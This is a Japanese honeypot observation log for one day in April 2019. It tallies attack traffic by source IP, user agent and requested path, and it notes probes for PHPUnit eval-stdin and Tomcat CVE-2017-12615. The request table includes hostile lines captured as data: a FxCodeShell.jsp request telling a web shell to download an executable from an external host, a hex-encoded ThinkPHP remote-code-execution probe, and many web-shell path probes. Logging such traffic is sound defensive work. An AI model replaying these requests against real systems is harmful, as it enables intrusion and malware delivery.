ハニーポット(仮) 観測記録
2019/04/19分です。
本日はPOSTも検知していました。
定期のwww.probethenet.comからのスキャンがやってきました。
/xxx/wp-login.php(xxxは適当な文字列)でのスキャン行為が動いているようです。
PHPUnitの脆弱性を狙ったアクセスを確認しました。
/Util/PHP/eval-stdin.php
Apache Tomcatの脆弱性(CVE-2017-12615)を狙ったアクセスを確認しました。
PUT /FxCodeShell.jsp
総アクセス数：1518 (前日比：+1389)
都合により
GET / HTTP/1.1
POST / HTTP/1.1
は除いています。
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 101.2.163.49 | Bangladesh |
| 1 | 103.215.139.38 | Malaysia |
| 1 | 104.128.144.131 | Canada |
| 1 | 104.208.25.191 | United States |
| 2 | 110.49.47.242 | Thailand |
| 480 | 115.159.98.117 | China |
| 1 | 118.25.27.153 | China |
| 472 | 123.207.170.219 | China |
| 1 | 124.211.218.220 | Japan |
| 1 | 128.199.118.49 | Singapore |
| 1 | 128.199.191.87 | Singapore |
| 1 | 134.209.30.155 | United Kingdom |
| 1 | 134.209.30.63 | United Kingdom |
| 1 | 139.59.164.144 | United Kingdom |
| 1 | 142.93.11.6 | United States |
| 1 | 157.230.14.14 | United States |
| 1 | 157.230.33.27 | Singapore |
| 2 | 159.203.65.226 | United States |
| 4 | 159.65.145.165 | India |
| 1 | 167.99.66.175 | Singapore |
| 1 | 174.138.18.218 | Singapore |
| 1 | 174.138.35.121 | United States |
| 1 | 178.128.25.34 | Singapore |
| 4 | 178.62.222.149 | Netherlands |
| 5 | 178.62.236.202 | Netherlands |
| 1 | 181.60.57.249 | Colombia |
| 1 | 18.219.61.57 | United States |
| 1 | 18.221.157.201 | United States |
| 1 | 184.191.224.38 | United States |
| 2 | 188.166.52.22 | Netherlands |
| 2 | 188.166.88.200 | Netherlands |
| 477 | 190.171.152.123 | Chile |
| 1 | 195.154.119.242 | France |
| 3 | 207.148.92.79 | Japan |
| 1 | 211.149.232.41 | China |
| 1 | 211.198.225.81 | South Korea |
| 4 | 220.173.37.0 | China |
| 1 | 27.115.124.6 | China |
| 2 | 34.204.187.67 | United States |
| 1 | 35.185.132.143 | Singapore |
| 1 | 3.92.223.117 | United States |
| 1 | 45.227.255.99 | Panama |
| 4 | 45.32.38.58 | Japan |
| 9 | 47.101.52.106 | China |
| 1 | 47.95.224.246 | China |
| 1 | 51.77.132.241 | France |
| 2 | 52.66.208.56 | India |
| 1 | 54.157.56.124 | United States |
| 1 | 54.245.156.61 | United States |
| 4 | 66.42.45.59 | Japan |
| 4 | 71.6.146.130 | United States |
| 1 | 77.68.21.139 | United Kingdom |
| 1 | 78.23.167.241 | Belgium |
| 1 | 82.202.172.4 | Russia |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 9 | - |
| 4 | curl |
| 1 | Go-http-client/1.1 |
| 66 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) |
| 4 | Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) |
| 2 | Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) |
| 4 | Mozilla/5.0 |
| 76 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 |
| 76 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 |
| 1 | Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 |
| 329 | Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0 |
| 1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0 |
| 76 | Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 |
| 328 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0 |
| 62 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0 |
| 2 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0 |
| 2 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 |
| 66 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 |
| 11 | Mozilla/5.0 (Windows NT 6.3; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 |
| 8 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
| 4 | Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 |
| 332 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 |
| 37 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 |
| 1 | python-requests/2.11.1 |
| 1 | www.probethenet.com scanner |
| 9 | ZmEu |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 3 | GET | /1x.php | HTTP/1.1 |
| 3 | GET | /admin/index.php | HTTP/1.1 |
| 2 | GET | /administrator/index.php | HTTP/1.1 |
| 3 | GET | /admin/mysql2/index.php | HTTP/1.1 |
| 3 | GET | /admin/mysql/index.php | HTTP/1.1 |
| 3 | GET | /admin/phpmyadmin2/index.php | HTTP/1.1 |
| 3 | GET | /admin/phpmyadmin/index.php | HTTP/1.1 |
| 3 | GET | /admin/phpMyAdmin/index.php | HTTP/1.1 |
| 3 | GET | /admin/pma/index.php | HTTP/1.1 |
| 3 | GET | /admin/PMA/index.php | HTTP/1.1 |
| 3 | GET | /appserv.php | HTTP/1.1 |
| 3 | GET | /blog/wp-login.php | HTTP/1.1 |
| 3 | GET | /b.php | HTTP/1.1 |
| 3 | GET | /cacti/plugins/weathermap/editor.php | HTTP/1.1 |
| 3 | GET | /claroline/phpMyAdmin/index.php | HTTP/1.1 |
| 3 | GET | /cmdd.php | HTTP/1.1 |
| 6 | GET | /cmd.php | HTTP/1.1 |
| 3 | GET | /cms/wp-login.php | HTTP/1.1 |
| 3 | GET | /cmv.php | HTTP/1.1 |
| 3 | GET | /composer.php | HTTP/1.1 |
| 3 | GET | /composers.php | HTTP/1.1 |
| 3 | GET | /d7.php | HTTP/1.1 |
| 3 | GET | /dbadmin/index.php | HTTP/1.1 |
| 3 | GET | /db_cts.php | HTTP/1.1 |
| 3 | GET | /db/index.php | HTTP/1.1 |
| 3 | GET | /db_pma.php | HTTP/1.1 |
| 2 | GET | /desktop.ini.php | HTTP/1.1 |
| 3 | GET | /Drupal.php | HTTP/1.1 |
| 1 | GET | /elrekt.php | HTTP/1.1 |
| 1 | GET | /favicon.ico | HTTP/1.1 |
| 1 | GET | /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid[.]hognoob[.]se/download.exe | HTTP/1.1 |
| 3 | GET | /hell.php | HTTP/1.1 |
| 3 | GET | /help-e.php | HTTP/1.1 |
| 3 | GET | /help.php | HTTP/1.1 |
| 3 | GET | /home.php | HTTP/1.1 |
| 3 | GET | /htdocs.php | HTTP/1.1 |
| 1 | GET | /html/public/index.php | HTTP/1.1 |
| 3 | GET | /hue2.php | HTTP/1.1 |
| 3 | GET | /images/!.php | HTTP/1.1 |
| 3 | GET | /images/vuln.php | HTTP/1.1 |
| 4 | GET | /index.php | HTTP/1.1 |
| 2 | GET | /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%\x80\x96\x98 | HTTP/1.1 |
| 6 | GET | /izom.php | HTTP/1.1 |
| 3 | GET | /java.php | HTTP/1.1 |
| 3 | GET | /knal.php | HTTP/1.1 |
| 3 | GET | /lala-dpr.php | HTTP/1.1 |
| 3 | GET | /lala.php | HTTP/1.1 |
| 3 | GET | /lang.php?f=1 | HTTP/1.1 |
| 2 | GET | /latest/meta-data | HTTP/1.1 |
| 3 | GET | /license.php | HTTP/1.1 |
| 3 | GET | /logon.php | HTTP/1.1 |
| 3 | GET | /log.php | HTTP/1.1 |
| 3 | GET | /lol.php | HTTP/1.1 |
| 3 | GET | /manager/html | HTTP/1.1 |
| 11 | GET | /market/detail?symbol=ethusdt | HTTP/1.1 |
| 3 | GET | /muhstik2.php | HTTP/1.1 |
| 3 | GET | /muhstik-dpr.php | HTTP/1.1 |
| 6 | GET | /muhstik.php | HTTP/1.1 |
| 3 | GET | /muhstiks.php | HTTP/1.1 |
| 3 | GET | /myadmin2/index.php | HTTP/1.1 |
| 3 | GET | /myadmin/index.php | HTTP/1.1 |
| 3 | GET | /MyAdmin/index.php | HTTP/1.1 |
| 3 | GET | /mysql_admin/index.php | HTTP/1.1 |
| 3 | GET | /mysql-admin/index.php | HTTP/1.1 |
| 3 | GET | /mysql/admin/index.php | HTTP/1.1 |
| 3 | GET | /mysqladmin/index.php | HTTP/1.1 |
| 3 | GET | /mysql/dbadmin/index.php | HTTP/1.1 |
| 3 | GET | /mysql/index.php | HTTP/1.1 |
| 3 | GET | /mysql/mysqlmanager/index.php | HTTP/1.1 |
| 3 | GET | /mysql/sqlmanager/index.php | HTTP/1.1 |
| 3 | GET | /new_license.php | HTTP/1.1 |
| 6 | GET | /payload.php | HTTP/1.1 |
| 3 | GET | /php2MyAdmin/index.php | HTTP/1.1 |
| 3 | GET | /phpadmin/index.php | HTTP/1.1 |
| 3 | GET | /phpAdmin/index.php | HTTP/1.1 |
| 3 | GET | /phpiMyAdmin/index.php | HTTP/1.1 |
| 3 | GET | /phpma/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAbmin/index.php | HTTP/1.1 |
| 3 | GET | /phpmyadm1n/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdm1n/index.php | HTTP/1.1 |
| 3 | GET | /phpMyadmi/index.php | HTTP/1.1 |
| 3 | GET | /phpmyadmin0/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmin123/index.php | HTTP/1.1 |
| 3 | GET | /phpmyadmin1/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmin1/index.php | HTTP/1.1 |
| 3 | GET | /phpmyadmin2222/index.php | HTTP/1.1 |
| 3 | GET | /phpmyadmin2/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmin-4.4.0/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmina/index.php | HTTP/1.1 |
| 3 | GET | /phpMyadmin_bak/index.php | HTTP/1.1 |
| 3 | GET | /phpmyadmin/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmin__/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmin/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmin._/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmin+++---/index.php | HTTP/1.1 |
| 3 | GET | /phpmyadmin-old/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmin.old/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdminold/index.php | HTTP/1.1 |
| 3 | GET | /phpmyadmin/phpmyadmin/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmin/phpMyAdmin/index.php | HTTP/1.1 |
| 2 | GET | /phpmyadmin/scripts/db___.init.php | HTTP/1.1 |
| 2 | GET | /phpMyAdmin/scripts/db___.init.php | HTTP/1.1 |
| 4 | GET | /phpmyadmin/scripts/setup.php | HTTP/1.1 |
| 5 | GET | /phpMyAdmin/scripts/setup.php | HTTP/1.1 |
| 1 | GET | /phpmyadmin/scripts/setup.php/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmins/index.php | HTTP/1.1 |
| 3 | GET | /phpMyAdmion/index.php | HTTP/1.1 |
| 3 | GET | /phpMydmin/index.php | HTTP/1.1 |
| 3 | GET | /phpmy/index.php | HTTP/1.1 |
| 1 | GET | /phpmy/scripts/setup.php | HTTP/1.1 |
| 3 | GET | /phpNyAdmin/index.php | HTTP/1.1 |
| 3 | GET | /phppma/index.php | HTTP/1.1 |
| 3 | GET | /plugins/weathermap/editor.php | HTTP/1.1 |
| 3 | GET | /PMA2/index.php | HTTP/1.1 |
| 3 | GET | /pma/index.php | HTTP/1.1 |
| 3 | GET | /PMA/index.php | HTTP/1.1 |
| 3 | GET | /pmamy2/index.php | HTTP/1.1 |
| 3 | GET | /pmamy/index.php | HTTP/1.1 |
| 3 | GET | /pma-old/index.php | HTTP/1.1 |
| 2 | GET | /pma/scripts/setup.php | HTTP/1.1 |
| 3 | GET | /pmd/index.php | HTTP/1.1 |
| 3 | GET | /pmd_online.php | HTTP/1.1 |
| 3 | GET | /program/index.php | HTTP/1.1 |
| 1 | GET | /public/index.php | HTTP/1.1 |
| 3 | GET | /pwd/index.php | HTTP/1.1 |
| 3 | GET | /_query.php | HTTP/1.1 |
| 4 | GET | /robots.txt | HTTP/1.1 |
| 3 | GET | /rxr.php | HTTP/1.1 |
| 3 | GET | /scripts/setup.php | HTTP/1.1 |
| 1 | GET | /server-status | HTTP/1.1 |
| 3 | GET | /shaAdmin/index.php | HTTP/1.1 |
| 6 | GET | /shell.php | HTTP/1.1 |
| 3 | GET | /shopdb/index.php | HTTP/1.1 |
| 3 | GET | /s/index.php | HTTP/1.1 |
| 1 | GET | /sitemap.xml | HTTP/1.1 |
| 3 | GET | /spider.php | HTTP/1.1 |
| 3 | GET | /t6nv.php | HTTP/1.1 |
| 3 | GET | /test.php | HTTP/1.1 |
| 3 | GET | /text.php | HTTP/1.1 |
| 1 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
| 3 | GET | /tools/phpMyAdmin/index.php | HTTP/1.1 |
| 1 | GET | /TP/html/public/index.php | HTTP/1.1 |
| 1 | GET | /TP/index.php | HTTP/1.1 |
| 1 | GET | /TP/public/index.php | HTTP/1.1 |
| 3 | GET | /typo3/phpmyadmin/index.php | HTTP/1.1 |
| 3 | GET | /undx.php | HTTP/1.1 |
| 3 | GET | /uploader.php | HTTP/1.1 |
| 3 | GET | /up.php | HTTP/1.1 |
| 3 | GET | /v/index.php | HTTP/1.1 |
| 2 | GET | /w00tw00t.at.blackhats.romanian.anti-sec:) | HTTP/1.1 |
| 1 | GET | /w00tw00t.at.ISC.SANS.DFind:) | HTTP/1.1 |
| 4 | GET | /webdav/ | HTTP/1.1 |
| 3 | GET | /web/phpMyAdmin/index.php | HTTP/1.1 |
| 1 | GET | /.well-known/security.txt | HTTP/1.1 |
| 3 | GET | /wordpress/wp-login.php | HTTP/1.1 |
| 3 | GET | /wp1/wp-login.php | HTTP/1.1 |
| 3 | GET | /wp2/wp-login.php | HTTP/1.1 |
| 3 | GET | /wp3/wp-login.php | HTTP/1.1 |
| 3 | GET | /wp4/wp-login.php | HTTP/1.1 |
| 3 | GET | /wp5/wp-login.php | HTTP/1.1 |
| 2 | GET | /wp6/wp-login.php | HTTP/1.1 |
| 3 | GET | /wp7/wp-login.php | HTTP/1.1 |
| 3 | GET | /wp8/wp-login.php | HTTP/1.1 |
| 3 | GET | /wp-config.php | HTTP/1.1 |
| 3 | GET | /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php | HTTP/1.1 |
| 3 | GET | /wpc.php | HTTP/1.1 |
| 3 | GET | /wpo.php | HTTP/1.1 |
| 3 | GET | /wp/wp-login.php | HTTP/1.1 |
| 3 | GET | /www/phpMyAdmin/index.php | HTTP/1.1 |
| 3 | GET | /xampp/phpmyadmin/index.php | HTTP/1.1 |
| 3 | GET | /x.php | HTTP/1.1 |
| 3 | GET | /z.php | HTTP/1.1 |
| 1 | HEAD | /redirect.php | HTTP/1.1 |
| 8 | OPTIONS | / | HTTP/1.1 |
| 3 | POST | /099.php | HTTP/1.1 |
| 3 | POST | /1111.php | HTTP/1.1 |
| 3 | POST | /1213.php | HTTP/1.1 |
| 6 | POST | /123.php | HTTP/1.1 |
| 3 | POST | /12.php | HTTP/1.1 |
| 3 | POST | /1hou.php | HTTP/1.1 |
| 6 | POST | /1ndex.php | HTTP/1.1 |
| 21 | POST | /1.php | HTTP/1.1 |
| 3 | POST | /1q.php | HTTP/1.1 |
| 6 | POST | /2.php | HTTP/1.1 |
| 3 | POST | /3.php | HTTP/1.1 |
| 3 | POST | /_404.php | HTTP/1.1 |
| 3 | POST | /411.php | HTTP/1.1 |
| 3 | POST | /51314.php | HTTP/1.1 |
| 3 | POST | /51.php | HTTP/1.1 |
| 3 | POST | /5201314.php | HTTP/1.1 |
| 3 | POST | /520.php | HTTP/1.1 |
| 3 | POST | /56.php | HTTP/1.1 |
| 3 | POST | /666.php | HTTP/1.1 |
| 3 | POST | /777.php | HTTP/1.1 |
| 3 | POST | /7.php | HTTP/1.1 |
| 3 | POST | /92.php | HTTP/1.1 |
| 3 | POST | /9510.php | HTTP/1.1 |
| 3 | POST | /9678.php | HTTP/1.1 |
| 3 | POST | /a411.php | HTTP/1.1 |
| 3 | POST | /aaaaaa1.php | HTTP/1.1 |
| 3 | POST | /aaaa.php | HTTP/1.1 |
| 9 | POST | /aaa.php | HTTP/1.1 |
| 3 | POST | /aa.php | HTTP/1.1 |
| 3 | POST | /abc.php | HTTP/1.1 |
| 3 | POST | /Administrator.php | HTTP/1.1 |
| 3 | POST | /administrator/webconfig.txt.php | HTTP/1.1 |
| 3 | POST | /admn.php | HTTP/1.1 |
| 3 | POST | /ak47.php | HTTP/1.1 |
| 3 | POST | /ak48.php | HTTP/1.1 |
| 3 | POST | /ak.php | HTTP/1.1 |
| 3 | POST | /Alarg53.php | HTTP/1.1 |
| 3 | POST | /alipay.php | HTTP/1.1 |
| 3 | POST | /angge.php | HTTP/1.1 |
| 3 | POST | /aotu7.php | HTTP/1.1 |
| 3 | POST | /aotu.php | HTTP/1.1 |
| 6 | POST | /a.php | HTTP/1.1 |
| 9 | POST | /api.php | HTTP/1.1 |
| 1 | POST | /App45cdee36.php | HTTP/1.1 |
| 2 | POST | /Appc162ee36.php | HTTP/1.1 |
| 3 | POST | /app.php | HTTP/1.1 |
| 3 | POST | /avast.php | HTTP/1.1 |
| 3 | POST | /aw.php | HTTP/1.1 |
| 3 | POST | /bak.php | HTTP/1.1 |
| 3 | POST | /boots.php | HTTP/1.1 |
| 3 | POST | /bx.php | HTTP/1.1 |
| 3 | POST | /cadre.php | HTTP/1.1 |
| 3 | POST | /cainiao.php | HTTP/1.1 |
| 3 | POST | /caonma.php | HTTP/1.1 |
| 3 | POST | /CCCC.PHP | HTTP/1.1 |
| 3 | POST | /cc.php | HTTP/1.1 |
| 3 | POST | /CC.php | HTTP/1.1 |
| 3 | POST | /cere.php | HTTP/1.1 |
| 3 | POST | /ceshi.php | HTTP/1.1 |
| 3 | POST | /chaoda.php | HTTP/1.1 |
| 3 | POST | /cmd.php | HTTP/1.1 |
| 3 | POST | /cnm.php | HTTP/1.1 |
| 3 | POST | /cn.php | HTTP/1.1 |
| 3 | POST | /conf1g.php | HTTP/1.1 |
| 12 | POST | /confg.php | HTTP/1.1 |
| 3 | POST | /config.php | HTTP/1.1 |
| 6 | POST | /conflg.php | HTTP/1.1 |
| 3 | POST | /conf.php | HTTP/1.1 |
| 3 | POST | /coon.php | HTTP/1.1 |
| 3 | POST | /core.php | HTTP/1.1 |
| 3 | POST | /cxfm666.php | HTTP/1.1 |
| 3 | POST | /dashu.php | HTTP/1.1 |
| 3 | POST | /data.php | HTTP/1.1 |
| 3 | POST | /db_dataml.php | HTTP/1.1 |
| 3 | POST | /db_desql.php | HTTP/1.1 |
| 2 | POST | /db__.init.php | HTTP/1.1 |
| 2 | POST | /db.init.php | HTTP/1.1 |
| 3 | POST | /db.php | HTTP/1.1 |
| 2 | POST | /db_session.init.php | HTTP/1.1 |
| 3 | POST | /default.php | HTTP/1.1 |
| 3 | POST | /defect.php | HTTP/1.1 |
| 3 | POST | /dexgp.php | HTTP/1.1 |
| 3 | POST | /diy.php | HTTP/1.1 |
| 3 | POST | /d.php | HTTP/1.1 |
| 3 | POST | /erba.php | HTTP/1.1 |
| 3 | POST | /error.php | HTTP/1.1 |
| 3 | POST | /errors.php | HTTP/1.1 |
| 3 | POST | /erwa.php | HTTP/1.1 |
| 3 | POST | /fack.php | HTTP/1.1 |
| 3 | POST | /fb.php | HTTP/1.1 |
| 3 | POST | /feixiang.php | HTTP/1.1 |
| 3 | POST | /ffr.php | HTTP/1.1 |
| 3 | POST | /function.inc.php | HTTP/1.1 |
| 3 | POST | /fusheng.php | HTTP/1.1 |
| 3 | POST | /general.php | HTTP/1.1 |
| 3 | POST | /godkey.php | HTTP/1.1 |
| 3 | POST | /guai.php | HTTP/1.1 |
| 3 | POST | /h1.php | HTTP/1.1 |
| 3 | POST | /hack.php | HTTP/1.1 |
| 3 | POST | /hacly.php | HTTP/1.1 |
| 6 | POST | /hello.php | HTTP/1.1 |
| 3 | POST | /hell.php | HTTP/1.1 |
| 3 | POST | /help.php | HTTP/1.1 |
| 3 | POST | /hhh.php | HTTP/1.1 |
| 3 | POST | /hh.php | HTTP/1.1 |
| 3 | POST | /hm.php | HTTP/1.1 |
| 3 | POST | /htfr.php | HTTP/1.1 |
| 2 | POST | /HX.php | HTTP/1.1 |
| 3 | POST | /images/1ndex.php | HTTP/1.1 |
| 3 | POST | /images/1.php | HTTP/1.1 |
| 3 | POST | /images/asp.php | HTTP/1.1 |
| 3 | POST | /images/defau1t.php | HTTP/1.1 |
| 3 | POST | /images/entyy.php | HTTP/1.1 |
| 3 | POST | /index1.php | HTTP/1.1 |
| 3 | POST | /indexa.php | HTTP/1.1 |
| 3 | POST | /indexbak.php | HTTP/1.1 |
| 7 | POST | /index.php?s=captcha | HTTP/1.1 |
| 3 | POST | /info1.php | HTTP/1.1 |
| 3 | POST | /infoo.php | HTTP/1.1 |
| 3 | POST | /info.php | HTTP/1.1 |
| 3 | POST | /infos.php | HTTP/1.1 |
| 3 | POST | /ip.php | HTTP/1.1 |
| 3 | POST | /jjj.php | HTTP/1.1 |
| 3 | POST | /jkl.php | HTTP/1.1 |
| 3 | POST | /j.php | HTTP/1.1 |
| 3 | POST | /kvast.php | HTTP/1.1 |
| 3 | POST | /l6.php | HTTP/1.1 |
| 3 | POST | /l7.php | HTTP/1.1 |
| 3 | POST | /l8.php | HTTP/1.1 |
| 3 | POST | /lanke.php | HTTP/1.1 |
| 6 | POST | /lanyecn.php | HTTP/1.1 |
| 3 | POST | /lapan.php | HTTP/1.1 |
| 3 | POST | /ldw.php | HTTP/1.1 |
| 3 | POST | /liangchen.php | HTTP/1.1 |
| 3 | POST | /lindex.php | HTTP/1.1 |
| 3 | POST | /link.php | HTTP/1.1 |
| 3 | POST | /linkr.php | HTTP/1.1 |
| 3 | POST | /linkx.php | HTTP/1.1 |
| 3 | POST | /linux1.php | HTTP/1.1 |
| 3 | POST | /linux.php | HTTP/1.1 |
| 3 | POST | /linuxse.php | HTTP/1.1 |
| 3 | POST | /ljb.php | HTTP/1.1 |
| 3 | POST | /lmn.php | HTTP/1.1 |
| 3 | POST | /lm.php | HTTP/1.1 |
| 3 | POST | /log1.php | HTTP/1.1 |
| 8 | POST | /log.php | HTTP/1.1 |
| 3 | POST | /lost.php | HTTP/1.1 |
| 6 | POST | /lucky.php | HTTP/1.1 |
| 3 | POST | /luoran6.php | HTTP/1.1 |
| 3 | POST | /luso.php | HTTP/1.1 |
| 3 | POST | /lx.php | HTTP/1.1 |
| 3 | POST | /mazi.php | HTTP/1.1 |
| 6 | POST | /MCLi.php | HTTP/1.1 |
| 3 | POST | /meng.php | HTTP/1.1 |
| 3 | POST | /miao.php | HTTP/1.1 |
| 3 | POST | /min.php | HTTP/1.1 |
| 3 | POST | /mm.php | HTTP/1.1 |
| 3 | POST | /mobai.PHP | HTTP/1.1 |
| 3 | POST | /Moxin.PHP | HTTP/1.1 |
| 3 | POST | /m.php | HTTP/1.1 |
| 3 | POST | /m.php?pbid=open | HTTP/1.1 |
| 3 | POST | /mx.php | HTTP/1.1 |
| 3 | POST | /mybestloves.php | HTTP/1.1 |
| 3 | POST | /my.php | HTTP/1.1 |
| 3 | POST | /mysql.php | HTTP/1.1 |
| 3 | POST | /mz.php | HTTP/1.1 |
| 3 | POST | /neko.php | HTTP/1.1 |
| 3 | POST | /no.php | HTTP/1.1 |
| 3 | POST | /nuoxi.php | HTTP/1.1 |
| 3 | POST | /okokok.php | HTTP/1.1 |
| 3 | POST | /ok.php | HTTP/1.1 |
| 3 | POST | /orange.php | HTTP/1.1 |
| 3 | POST | /ou2.php | HTTP/1.1 |
| 3 | POST | /p34ky1337.php | HTTP/1.1 |
| 5 | POST | /paylog.php | HTTP/1.1 |
| 3 | POST | /pe.php | HTTP/1.1 |
| 3 | POST | /.php | HTTP/1.1 |
| 3 | POST | /phpinfi.php | HTTP/1.1 |
| 3 | POST | /phpini.php | HTTP/1.1 |
| 3 | POST | /php.php | HTTP/1.1 |
| 3 | POST | /phpstudy.php | HTTP/1.1 |
| 3 | POST | /phpStudy.php | HTTP/1.1 |
| 3 | POST | /Pings.php | HTTP/1.1 |
| 3 | POST | /pk1914.php | HTTP/1.1 |
| 3 | POST | /pma.php | HTTP/1.1 |
| 3 | POST | /pop.php | HTTP/1.1 |
| 3 | POST | /post.php | HTTP/1.1 |
| 3 | POST | /p.php | HTTP/1.1 |
| 6 | POST | /ppp.php | HTTP/1.1 |
| 3 | POST | /ppx.php | HTTP/1.1 |
| 3 | POST | /python.php | HTTP/1.1 |
| 3 | POST | /qa.php | HTTP/1.1 |
| 3 | POST | /qaq.php | HTTP/1.1 |
| 3 | POST | /qaz.php | HTTP/1.1 |
| 9 | POST | /q.php | HTTP/1.1 |
| 3 | POST | /qq5262.php | HTTP/1.1 |
| 18 | POST | /qq.php | HTTP/1.1 |
| 3 | POST | /qwe.php | HTTP/1.1 |
| 3 | POST | /qw.php | HTTP/1.1 |
| 3 | POST | /qwq.php | HTTP/1.1 |
| 3 | POST | /qwqw.php | HTTP/1.1 |
| 3 | POST | /repeat.php | HTTP/1.1 |
| 3 | POST | /ruyi.php | HTTP/1.1 |
| 3 | POST | /s1.php | HTTP/1.1 |
| 3 | POST | /sean.php | HTTP/1.1 |
| 3 | POST | /sha.php | HTTP/1.1 |
| 3 | POST | /sheep.php | HTTP/1.1 |
| 2 | POST | /shell.php | HTTP/1.1 |
| 3 | POST | /she.php | HTTP/1.1 |
| 3 | POST | /Skri.php | HTTP/1.1 |
| 3 | POST | /sllolx.php | HTTP/1.1 |
| 6 | POST | /s.php | HTTP/1.1 |
| 3 | POST | /src/Util/PHP/eval-stdin.php | HTTP/1.1 |
| 6 | POST | /ssaa.php | HTTP/1.1 |
| 3 | POST | /ss.php | HTTP/1.1 |
| 3 | POST | /Ss.php | HTTP/1.1 |
| 6 | POST | /sss.php | HTTP/1.1 |
| 3 | POST | /super.php | HTTP/1.1 |
| 3 | POST | /system.php | HTTP/1.1 |
| 6 | POST | /test123.php | HTTP/1.1 |
| 12 | POST | /test.php | HTTP/1.1 |
| 3 | POST | /tiandi.php | HTTP/1.1 |
| 3 | POST | /tianqi.php | HTTP/1.1 |
| 3 | POST | /tomcat.php | HTTP/1.1 |
| 3 | POST | /toor.php | HTTP/1.1 |
| 3 | POST | /Updata.php | HTTP/1.1 |
| 3 | POST | /u.php | HTTP/1.1 |
| 3 | POST | /up.php | HTTP/1.1 |
| 3 | POST | /Util/PHP/eval-stdin.php | HTTP/1.1 |
| 3 | POST | /uu.php | HTTP/1.1 |
| 3 | POST | /uuu.php | HTTP/1.1 |
| 3 | POST | //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
| 3 | POST | /ver.php | HTTP/1.1 |
| 3 | POST | /vf.php | HTTP/1.1 |
| 3 | POST | /vuln1.php | HTTP/1.1 |
| 3 | POST | /vuln.php | HTTP/1.1 |
| 3 | POST | /vvv.php | HTTP/1.1 |
| 3 | POST | /wanan.php | HTTP/1.1 |
| 3 | POST | /wan.php | HTTP/1.1 |
| 3 | POST | /wb.php | HTTP/1.1 |
| 3 | POST | /wc.php | HTTP/1.1 |
| 3 | POST | /wcp.php | HTTP/1.1 |
| 3 | POST | /webconfig.txt.php | HTTP/1.1 |
| 3 | POST | /webslee.php | HTTP/1.1 |
| 3 | POST | /weixiao.php | HTTP/1.1 |
| 3 | POST | /whoami.php.php | HTTP/1.1 |
| 3 | POST | /win1.php | HTTP/1.1 |
| 3 | POST | /win.php | HTTP/1.1 |
| 3 | POST | /wp-admins.php | HTTP/1.1 |
| 3 | POST | /w.php | HTTP/1.1 |
| 3 | POST | /wshell.php | HTTP/1.1 |
| 3 | POST | /wuwu11.php | HTTP/1.1 |
